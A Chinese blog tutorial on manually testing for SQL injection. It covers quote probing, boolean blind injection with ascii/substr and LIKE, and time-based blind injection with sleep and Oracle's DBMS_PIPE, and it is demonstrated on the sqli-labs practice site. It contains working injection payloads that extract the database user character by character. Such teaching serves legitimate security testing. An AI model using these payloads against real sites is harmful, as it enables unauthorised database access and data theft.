sql注入手工测试思路

前言

手工测试的时候核心就是判断我们插入的特殊语句是否被执行了,例如插入单引号、if、延时语句等等不同的字符来观察页面回显。下面主要介绍一下我个人的手工挖掘测试思路

测试思路

正常来说每个参数我都会插入单引号、双引号、括号去观察页面回显,如果一点变化没有基本就没sql注入了,如果没过滤肯定会有异常,有过滤会显示拦截页面,就可以尝试能不能绕过
下面就是直接有报错信息回显,然后就是判断有没有回显位,这里先不考虑其他的,主要介绍布尔盲注的测试思路,布尔盲注注不出来其他不太可能注出来

在这里插入图片描述

盲注

最基础的布尔盲注

这里先说注user(),因为注user()不需要考虑太多,注表的话就需要考虑数据库类型了
假设一个最普通的注入是单引号闭合的,假如注释符不能用,我们还需要加个or去闭合后面的单引号,我们的注入思路应为

id=1'and 1=1 or 'a'='b  此时语句应为正常
id=1'and 1=2 or 'a'='b  此时语句应为不正常
这里and的优先级比or高,中间1=1true则返回true,否则返回false
id=-1'or 1=2 or 'a'='b  将前面改为-1然后用or也是可以的

因为测试过程中网站返回的错误页面是各种各样的
我们只需要确定1=1为一种,其他情况均和1=1返回的不同即可

这里拿sql-lib演示一下,1=1返回为正常

图片

1=2则返回的则不同,可以确定存在sql注入

图片

下面开始注user,最基本的语句应为

ascii(substr(user(),1,1))  返回的是从第一位开始截取1位字符的ascii码
id=1'and 1=ascii(substr(user(),1,1)) or 'a'='b
我们遍历and后面这个1,只有相等时才会正常,就会有一条数据返回的长度不一样

这就说明user()的第一位的ascii码为114,也就是r

图片

我们遍历中间的1就可以得到后续的了,第二位ascii码为111,也就是o

图片

当我们理解了上面的原理就好说了,然后基于上面的思路去拓展
例如当我们截取函数好多都被过滤的时候就可以使用like去注入

用户名是r开头,匹配不到就会返回fasle,只有第一位是r才会返回true
id=1'and user() like 'a%' or 'a'='b   % 表示匹配所有
id=1'and user() like 'a_' or 'a'='b   _ 表示匹配一个

没有匹配到返回为false

图片

直接跑第一位,这里是因为mysql大小写不敏感

图片

注第二位,前面加个r直接继续跑就行

图片

时间盲注

时间盲注就要用到逻辑判断函数了,不过能用布尔就用布尔,时间盲注的话效率太低了

if(1=2,1,sleep(4))   1=1正常,不等则延时4秒

orcale中没有sleep,可以用下面这个
DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a'  延迟4

图片

只有相等才不会延时

id=1'and if(114=ascii(substr(user(),1,1)),1,sleep(4)) or 'a'='b

图片

不用if的话可以这样的思路

id=1'and sleep(5*(1)) or 'a'='b		延时5秒
id=1'and sleep(5*(0)) or 'a'='b		不会延时

在这里插入图片描述
在这里插入图片描述

注user,只有相等时才会延时

id=1'and sleep(5*(ascii(substr(user(),1,1))=114)) or 'a'='b

在这里插入图片描述

逻辑判断函数

下面是最原始的函数用法,后续可以根据实际情况去改变返回的东西
如果1=1则返回1,否则返回2

case when 1=1 then 1 else 2 end	  1=1返回1,否则返回2

if(1=1,1,2)		相等返回1,不等返回2	
IFNULL
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值